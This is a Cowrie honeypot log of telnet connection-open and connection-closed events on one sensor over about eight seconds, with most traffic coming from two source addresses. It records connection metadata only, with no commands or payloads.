{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43436,"dst_ip":"10.17.0.5","dst_port":23,"session":"9620bb931258","protocol":"telnet","message":"New connection: 104.167.8.156:43436 (10.17.0.5:23) [session: 9620bb931258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:53.198714Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59072,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eadc0365189","protocol":"telnet","message":"New connection: 108.61.251.217:59072 (10.17.0.5:23) [session: 5eadc0365189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:53.376982Z"}
{"eventid":"cowrie.session.closed","duration":30.7402822971344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:53.392639Z","src_ip":"104.167.8.156","session":"130e7b706aff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44032,"dst_ip":"10.17.0.5","dst_port":23,"session":"d54c8dd10850","protocol":"telnet","message":"New connection: 104.167.8.156:44032 (10.17.0.5:23) [session: d54c8dd10850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:53.615633Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35381,"dst_ip":"10.17.0.5","dst_port":23,"session":"e39d7a1a7a25","protocol":"telnet","message":"New connection: 104.167.8.156:35381 (10.17.0.5:23) [session: e39d7a1a7a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:53.619222Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44302,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad77340604c5","protocol":"telnet","message":"New connection: 104.167.8.156:44302 (10.17.0.5:23) [session: ad77340604c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:53.621413Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59074,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ab48a8d0d9a","protocol":"telnet","message":"New connection: 108.61.251.217:59074 (10.17.0.5:23) [session: 3ab48a8d0d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:53.797103Z"}
{"eventid":"cowrie.session.closed","duration":31.041539669036865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.039761Z","src_ip":"104.167.8.156","session":"108d18aa00f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45808,"dst_ip":"10.17.0.5","dst_port":23,"session":"517c7b43fd12","protocol":"telnet","message":"New connection: 104.167.8.156:45808 (10.17.0.5:23) [session: 517c7b43fd12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.052688Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43078,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc7808648936","protocol":"telnet","message":"New connection: 104.167.8.156:43078 (10.17.0.5:23) [session: bc7808648936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.096447Z"}
{"eventid":"cowrie.session.closed","duration":31.071871280670166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.122671Z","src_ip":"108.61.251.217","session":"87b75b5f4a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59082,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1c6c04fafe","protocol":"telnet","message":"New connection: 108.61.251.217:59082 (10.17.0.5:23) [session: 5f1c6c04fafe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.147850Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46304,"dst_ip":"10.17.0.5","dst_port":23,"session":"06f86ff0baff","protocol":"telnet","message":"New connection: 104.167.8.156:46304 (10.17.0.5:23) [session: 06f86ff0baff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.236281Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37990,"dst_ip":"10.17.0.5","dst_port":23,"session":"46d2b9e7e3e7","protocol":"telnet","message":"New connection: 104.167.8.156:37990 (10.17.0.5:23) [session: 46d2b9e7e3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.344236Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47230,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c0d70dd5f53","protocol":"telnet","message":"New connection: 104.167.8.156:47230 (10.17.0.5:23) [session: 1c0d70dd5f53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.560802Z"}
{"eventid":"cowrie.session.closed","duration":30.785096883773804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.628124Z","src_ip":"108.61.251.217","session":"98dcb17f0e88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.45502305030823,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.711606Z","src_ip":"188.208.141.113","session":"6964a9756870","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59088,"dst_ip":"10.17.0.5","dst_port":23,"session":"420d9bb675c8","protocol":"telnet","message":"New connection: 108.61.251.217:59088 (10.17.0.5:23) [session: 420d9bb675c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.717096Z"}
{"eventid":"cowrie.session.closed","duration":31.598535299301147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.729612Z","src_ip":"104.167.8.156","session":"e3888c620aa5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.82113218307495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.734713Z","src_ip":"108.61.251.217","session":"37aeabb02e20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":59102,"dst_ip":"10.17.0.5","dst_port":23,"session":"f137e38511a6","protocol":"telnet","message":"New connection: 108.61.251.217:59102 (10.17.0.5:23) [session: f137e38511a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.788999Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47986,"dst_ip":"10.17.0.5","dst_port":23,"session":"3130ceecf74e","protocol":"telnet","message":"New connection: 104.167.8.156:47986 (10.17.0.5:23) [session: 3130ceecf74e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.815267Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48048,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f8ce59c6a70","protocol":"telnet","message":"New connection: 104.167.8.156:48048 (10.17.0.5:23) [session: 2f8ce59c6a70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:54.839801Z"}
{"eventid":"cowrie.session.closed","duration":30.306726932525635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:55.134718Z","src_ip":"108.61.251.217","session":"d613a0d3571c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48932,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2ee73819c1f","protocol":"telnet","message":"New connection: 104.167.8.156:48932 (10.17.0.5:23) [session: f2ee73819c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:55.202290Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49250,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a8dbde70ab","protocol":"telnet","message":"New connection: 104.167.8.156:49250 (10.17.0.5:23) [session: a6a8dbde70ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:55.312961Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46530,"dst_ip":"10.17.0.5","dst_port":23,"session":"93d9c93b4335","protocol":"telnet","message":"New connection: 104.167.8.156:46530 (10.17.0.5:23) [session: 93d9c93b4335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:55.321178Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41082,"dst_ip":"10.17.0.5","dst_port":23,"session":"5601c432bfcd","protocol":"telnet","message":"New connection: 104.167.8.156:41082 (10.17.0.5:23) [session: 5601c432bfcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:55.340955Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49512,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ceb0e32b3fa","protocol":"telnet","message":"New connection: 104.167.8.156:49512 (10.17.0.5:23) [session: 1ceb0e32b3fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:55.392808Z"}
{"eventid":"cowrie.session.closed","duration":30.57844877243042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:55.472085Z","src_ip":"104.167.8.156","session":"b40b88fccb19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845524549484253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:55.505420Z","src_ip":"108.61.251.217","session":"020c657fcc3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48416,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8bca4a745c8","protocol":"telnet","message":"New connection: 104.167.8.156:48416 (10.17.0.5:23) [session: f8bca4a745c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:55.992672Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51046,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e0dd8b1341e","protocol":"telnet","message":"New connection: 108.61.251.217:51046 (10.17.0.5:23) [session: 0e0dd8b1341e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:56.126602Z"}
{"eventid":"cowrie.session.closed","duration":30.59538769721985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:56.240116Z","src_ip":"104.167.8.156","session":"6383c94ad2bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49406,"dst_ip":"10.17.0.5","dst_port":23,"session":"a41634212804","protocol":"telnet","message":"New connection: 104.167.8.156:49406 (10.17.0.5:23) [session: a41634212804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:56.354144Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52498,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2da81f03cb7","protocol":"telnet","message":"New connection: 104.167.8.156:52498 (10.17.0.5:23) [session: a2da81f03cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:56.394104Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53726,"dst_ip":"10.17.0.5","dst_port":23,"session":"21c3edea4ddd","protocol":"telnet","message":"New connection: 104.167.8.156:53726 (10.17.0.5:23) [session: 21c3edea4ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:56.786968Z"}
{"eventid":"cowrie.session.closed","duration":30.848517179489136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:56.819622Z","src_ip":"104.167.8.156","session":"3beb7f267fe1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.849096536636353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:56.881005Z","src_ip":"104.167.8.156","session":"380af1e85895","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51056,"dst_ip":"10.17.0.5","dst_port":23,"session":"553207e5565c","protocol":"telnet","message":"New connection: 108.61.251.217:51056 (10.17.0.5:23) [session: 553207e5565c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:56.940063Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45516,"dst_ip":"10.17.0.5","dst_port":23,"session":"621df9213daf","protocol":"telnet","message":"New connection: 104.167.8.156:45516 (10.17.0.5:23) [session: 621df9213daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:56.945642Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54128,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c3c69f0a5dd","protocol":"telnet","message":"New connection: 104.167.8.156:54128 (10.17.0.5:23) [session: 8c3c69f0a5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:56.949085Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51060,"dst_ip":"10.17.0.5","dst_port":23,"session":"159042277f00","protocol":"telnet","message":"New connection: 108.61.251.217:51060 (10.17.0.5:23) [session: 159042277f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:57.193001Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51884,"dst_ip":"10.17.0.5","dst_port":23,"session":"750f07460984","protocol":"telnet","message":"New connection: 104.167.8.156:51884 (10.17.0.5:23) [session: 750f07460984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:57.208869Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53454,"dst_ip":"10.17.0.5","dst_port":23,"session":"65678d0f9da2","protocol":"telnet","message":"New connection: 104.167.8.156:53454 (10.17.0.5:23) [session: 65678d0f9da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:57.688678Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47658,"dst_ip":"10.17.0.5","dst_port":23,"session":"15f31e61f42e","protocol":"telnet","message":"New connection: 104.167.8.156:47658 (10.17.0.5:23) [session: 15f31e61f42e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:57.700603Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51062,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1d7ab6ec165","protocol":"telnet","message":"New connection: 108.61.251.217:51062 (10.17.0.5:23) [session: d1d7ab6ec165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:57.738987Z"}
{"eventid":"cowrie.session.closed","duration":13.57939863204956,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:57.885121Z","src_ip":"102.216.47.153","session":"9d4cdac2bc51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48242,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d6362187c94","protocol":"telnet","message":"New connection: 104.167.8.156:48242 (10.17.0.5:23) [session: 3d6362187c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:57.928762Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57916,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e6be10f27d8","protocol":"telnet","message":"New connection: 104.167.8.156:57916 (10.17.0.5:23) [session: 0e6be10f27d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:58.087802Z"}
{"eventid":"cowrie.session.closed","duration":30.716373682022095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:58.154627Z","src_ip":"108.61.251.217","session":"859047a5d0b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58182,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f10d4109fce","protocol":"telnet","message":"New connection: 104.167.8.156:58182 (10.17.0.5:23) [session: 2f10d4109fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:58.165789Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51066,"dst_ip":"10.17.0.5","dst_port":23,"session":"a27c46cf3111","protocol":"telnet","message":"New connection: 108.61.251.217:51066 (10.17.0.5:23) [session: a27c46cf3111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:58.547458Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35458,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c8addc480d8","protocol":"telnet","message":"New connection: 188.208.141.113:35458 (10.17.0.5:23) [session: 4c8addc480d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:58.575704Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59764,"dst_ip":"10.17.0.5","dst_port":23,"session":"9682ffd1439a","protocol":"telnet","message":"New connection: 104.167.8.156:59764 (10.17.0.5:23) [session: 9682ffd1439a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:58.644066Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56592,"dst_ip":"10.17.0.5","dst_port":23,"session":"f76b53a98f7f","protocol":"telnet","message":"New connection: 104.167.8.156:56592 (10.17.0.5:23) [session: f76b53a98f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:58.656906Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":46254,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9c5bdd114b5","protocol":"telnet","message":"New connection: 64.227.9.242:46254 (159.203.135.109:23) [session: a9c5bdd114b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:58.695962Z"}
{"eventid":"cowrie.session.closed","duration":31.033982276916504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:58.938627Z","src_ip":"104.167.8.156","session":"8328264c5540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51244,"dst_ip":"10.17.0.5","dst_port":23,"session":"eba752a9a8b1","protocol":"telnet","message":"New connection: 104.167.8.156:51244 (10.17.0.5:23) [session: eba752a9a8b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.000987Z"}
{"eventid":"cowrie.session.closed","duration":30.608647108078003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.182878Z","src_ip":"108.61.251.217","session":"9d61c90858f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75553274154663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.217020Z","src_ip":"104.167.8.156","session":"3fff98281d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109126567840576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.271911Z","src_ip":"108.61.251.217","session":"e21fadbf4075","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.300024032592773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.323767Z","src_ip":"104.167.8.156","session":"bad8f580f5fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825684547424316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.411511Z","src_ip":"108.61.251.217","session":"173560378562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51076,"dst_ip":"10.17.0.5","dst_port":23,"session":"d27f5a39e581","protocol":"telnet","message":"New connection: 108.61.251.217:51076 (10.17.0.5:23) [session: d27f5a39e581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.532375Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60256,"dst_ip":"10.17.0.5","dst_port":23,"session":"107a4e2b0ac0","protocol":"telnet","message":"New connection: 104.167.8.156:60256 (10.17.0.5:23) [session: 107a4e2b0ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.794975Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60324,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5980eeb5c8f","protocol":"telnet","message":"New connection: 104.167.8.156:60324 (10.17.0.5:23) [session: f5980eeb5c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.808907Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35646,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ae5f87862b0","protocol":"telnet","message":"New connection: 104.167.8.156:35646 (10.17.0.5:23) [session: 5ae5f87862b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.894354Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51084,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2723eebac74","protocol":"telnet","message":"New connection: 108.61.251.217:51084 (10.17.0.5:23) [session: e2723eebac74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:39:59.962492Z"}
{"eventid":"cowrie.session.closed","duration":30.19520854949951,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:00.061352Z","src_ip":"104.167.8.156","session":"b25137c5d0d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36448,"dst_ip":"10.17.0.5","dst_port":23,"session":"00c54f2400fd","protocol":"telnet","message":"New connection: 104.167.8.156:36448 (10.17.0.5:23) [session: 00c54f2400fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:00.145584Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51086,"dst_ip":"10.17.0.5","dst_port":23,"session":"805975cfe8e4","protocol":"telnet","message":"New connection: 108.61.251.217:51086 (10.17.0.5:23) [session: 805975cfe8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:00.294990Z"}
{"eventid":"cowrie.session.closed","duration":31.234780311584473,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:00.580134Z","src_ip":"104.167.8.156","session":"d9b3ccafd09c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37812,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5555202501d","protocol":"telnet","message":"New connection: 104.167.8.156:37812 (10.17.0.5:23) [session: d5555202501d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:00.599665Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38220,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd50af80a7d9","protocol":"telnet","message":"New connection: 104.167.8.156:38220 (10.17.0.5:23) [session: bd50af80a7d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:00.718909Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35068,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cef00f5999a","protocol":"telnet","message":"New connection: 104.167.8.156:35068 (10.17.0.5:23) [session: 1cef00f5999a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:00.724993Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51102,"dst_ip":"10.17.0.5","dst_port":23,"session":"264964bde52a","protocol":"telnet","message":"New connection: 108.61.251.217:51102 (10.17.0.5:23) [session: 264964bde52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:00.771642Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":51110,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6b5b55e3731","protocol":"telnet","message":"New connection: 108.61.251.217:51110 (10.17.0.5:23) [session: e6b5b55e3731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:01.080279Z"}
